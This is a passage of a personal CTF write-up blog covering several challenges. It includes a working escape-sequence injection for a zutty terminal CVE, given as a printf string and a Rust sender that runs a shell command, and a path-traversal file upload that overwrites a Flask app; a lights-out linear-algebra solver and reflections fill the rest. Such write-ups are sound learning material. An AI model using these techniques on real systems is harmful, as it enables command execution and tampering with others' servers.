Here, I used the nix package to call the system call.
flag{wa1t_no0O0oooO_mY_b1azIngfA5t_raust_f11r5erVer_??????????}
The Hopeful Terminal Emulator, Connecting Our Bonds#
I was desperate with this question. I reviewed the Rust fileserver
eight hundred times and couldn't find where it might panic (but actually saw someone say that passing \x80
in the URL would cause a panic).
First, we noticed that the question mentioned "a certain ancestral terminal emulator compiled years ago," and the Dockerfile
specifically installed version 0.12
of zutty
. So we could guess that this terminal emulator might have issues.
By searching for zutty cve
, I found CVE-2022-41138, which led me to find its POC.
Further digging revealed that DECRQSS
is something, and then I found this article. It almost slapped the answer in my face.
I constructed a string that simulates pressing Ctrl-C in zutty
and executing cat /flag2 > /flag3
.
printf "\e[0m\eP\$q\x3\e\\ \eP\$qm\rcat /flag2 > /flag3\r\e\\ \eP\$qm\e\\ "
Then I placed this string in the URL, and I could get the flag... right?
use std::{fs, io::Write, net::TcpStream, thread::sleep};
fn main() {
let header = b"GET /";
let res: [u8; 18] = [
27, 91, 48, 109, 27, 80, 36, 113, 3, 27, 92, 32, 27, 80, 36, 113, 109, 13,
];
let command = b"cat /flag2 > /flag3";
let res2: &[u8; 12] = &[13, 27, 92, 32, 27, 80, 36, 113, 109, 27, 92, 32];
let bytes = [header.as_ref(), &res, command, res2].concat();
let mut stream = TcpStream::connect("127.0.0.1:8000").unwrap();
stream.write_all(&bytes).unwrap();
sleep(std::time::Duration::from_secs(1));
let res = fs::read("/flag3").unwrap();
let flag = String::from_utf8_lossy(&res);
println!("{}", flag);
}
Running this program in the local Docker environment allowed us to obtain the flag. However, in the competition environment, it threw an error!
called `Result::unwrap()` on an `Err` value: Os { code: 2, kind: NotFound, message: "No such file or directory" }
I don't know why this question resulted in a discrepancy between the local Docker environment and the competition environment. But changing the path to /tmp/flag3
worked. 🤦
So we can obtain two flags at once, but we've already gotten the first flag.
flag{xterm_&_DECRQSS_in_2008_0NcE_morE_??????????}
LESS File Viewer Online Version#
I couldn't do it, so I looked at the solution. It felt like it had nothing to do with the Web, but it was categorized as Web.
Refer to the official solution.
Turning Off the Lights#
This was a highlight moment for GPT; I spent an entire night and couldn't solve it, scribbling on several sheets of paper. But after adjusting GPT's prompts, it helped me solve it.
Easy#
With the code obtained from GPT, I made slight modifications and got the following program.
def get_answer(lights_string):
# Convert the lights array string back to numpy array
lights_array = np.array(list(map(int, lights_string)), dtype=np.uint8).reshape(
n, n, n
)
# Create the coefficient matrix for the linear system
A = np.zeros((n**3, n**3), dtype=np.uint8)
def index(x, y, z):
return x * n * n + y * n + z
for x in range(n):
for y in range(n):
for z in range(n):
idx = index(x, y, z)
A[idx, idx] = 1
if x > 0:
A[idx, index(x - 1, y, z)] ^= 1
if x < n - 1:
A[idx, index(x + 1, y, z)] ^= 1
if y > 0:
A[idx, index(x, y - 1, z)] ^= 1
if y < n - 1:
A[idx, index(x, y + 1, z)] ^= 1
if z > 0:
A[idx, index(x, y, z - 1)] ^= 1
if z < n - 1:
A[idx, index(x, y, z + 1)] ^= 1
# Flatten the lights array to get the right-hand side of the equation
b = lights_array.flatten()
# Solve the linear system A * x = b in GF(2)
# We will use Gaussian elimination in GF(2)
A = A.astype(np.bool_)
b = b.astype(np.bool_)
# Gaussian elimination
for i in range(n**3):
if not A[i, i]:
for j in range(i + 1, n**3):
if A[j, i]:
A[[i, j]] = A[[j, i]]
b[[i, j]] = b[[j, i]]
break
for j in range(i + 1, n**3):
if A[j, i]:
A[j] ^= A[i]
b[j] ^= b[i]
x = np.zeros(n**3, dtype=np.bool_)
for i in range(n**3 - 1, -1, -1):
if b[i]:
x[i] = 1
for j in range(i):
if A[j, i]:
b[j] ^= 1
# Convert the solution back to the required format
switch_array = x.astype(np.uint8).reshape(n, n, n)
answer = "".join(map(str, switch_array.flatten().tolist()))
return answer
n = 3
print(get_answer("111001001111101000001101010"))
flag{bru7e_f0rce_1s_a1l_y0u_n3ed_??????????}
Medium#
Similarly, just change n
to 5.
flag{prun1ng_1s_u5eful_??????????}
Hard#
Again, change n
to 11.
flag{lin3ar_alg3bra_1s_p0werful_??????????}
Impossible#
I couldn't do it; n = 149 would cause the computer to explode.
Refer to the official solution.
No Involution Allowed#
This was a very simple question, but placed so late, I thought it would be difficult.
From the question, we know that --reload
hot reload is enabled, so we should find the main entry file of Flask. Based on the documentation, we speculate that the file name is app.py
. Then we find a way to modify app.py
.
We first capture packets and randomly upload a file. According to the code, our file is uploaded to /tmp/uploads
, while the website's code is in /tmp/web
, so we rename the file to ../web/app.py
. As for the content, we save the code from the question and modify it.
@app.route("/", methods=["GET"])
def index():
return open("answers.json").read()
Visiting the question page again, the content is now the original answers.json
. After obtaining the answers, a slight conversion allows us to derive the flag.
const answers = [
// ...
]
answers.map((n) => String.fromCharCode(n + 65)).join('')
flag{uno!!!!_esrever_now_U_run_MY_??????????????}
Not to Mention About Me Starting From Scratch Alone in Another World...#
The title is so long...
Dirty work relies entirely on GPT, with no technical content...
"Even if you turn everything I say into a question, it won't win my favor, hum"#
Just kill me, I won't 😥
Summary#
This was my second time officially participating in a CTF. At the beginning of this competition, I happened to be traveling in Japan and specifically took a day to do the CTF (peaking at fourth place 🤣). After returning home, I spent another day before getting back, during which I severely lacked sleep. It wasn't until three hours before the competition ended that I gave up on solving questions and went to sleep. I did put in a lot of effort, but I enjoyed it. However, I have already solved all the questions I could, so there's nothing to regret. Due to space limitations, I actually omitted quite a few attempts during my research. Looking forward to the next grind competition.
As a very amateur CTFer, achieving such results is quite good for me. It's not in vain that I've been a script kid since I was young.
Some Random Thoughts#
Whether it's GeekGame or HackerGame, I feel that they are not very friendly to ARM macOS. "Not Wide Characters" and "Animation Sharing" took me a lot of time to prepare the environment.
Tip
Fortunately, most questions can be normally run in an x86 environment using OrbStack.
docker build --platform linux/amd64 .
Tip
To build x86 Linux Rust programs on macOS, you can use cross
.
P.S. If there's a CTF team in the future, you can call me to join (if I have time).